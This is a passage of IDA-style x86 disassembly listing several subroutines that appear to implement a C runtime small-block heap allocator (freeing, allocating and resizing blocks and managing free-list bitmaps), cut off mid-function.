		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------


loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------


loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]


loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx


loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi


loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi


loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------


loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB


loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------


loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DC8F4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DC8EC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DC8EC
		mov	eax, dword_4DC8F4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DC8F4
		mov	ecx, dword_4DC8EC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DC8F4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DC8F4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DC8F4


loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DC8F4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2770000h
		mov	eax, dword_4DC8F8
		mov	edx, dword_4DC8FC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DC8F4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DC8F8
		cmp	eax, dword_4DC8F4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h


loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DC8FC
		mov	dword_4DC8F0, eax


loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DC8EC, edi
		mov	dword_4DC8F4, eax


loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DC8F8
		mov	edx, dword_4DC8FC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------


loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DC8F0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242


loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229


loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx


loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax


loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0


loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------


loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]


loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx


loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------


loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax


loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9


loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0


loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DC8F0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E


loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B


loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304


loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]


loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------


loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi


loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]


loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------


loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]


loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------


loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]


loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DC8F4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DC8EC
		jnz	short loc_41E4C7
		and	dword_4DC8F4, 0


loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DC8F8
		mov	ecx, dword_4DC8E8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DC8FC
		push	edi
		push	dword_4DC904
		call	near ptr 2820000h
		nop
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DC8E8, 10h
		mov	dword_4DC8FC, eax
		mov	eax, dword_4DC8F8


loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DC8FC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DC904
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 2780000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 2880850h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DC904
		nop
		call	near ptr 2770000h


loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------


loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DC8F8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------


loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 2880850h
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------


loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]


loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5


loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi


loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------


loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi


loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------


loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx


loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------


loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]


loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------


loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------


loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi


loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi


loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------


loc_41E89D:				; CODE XREF: sub_41E680+1FDj
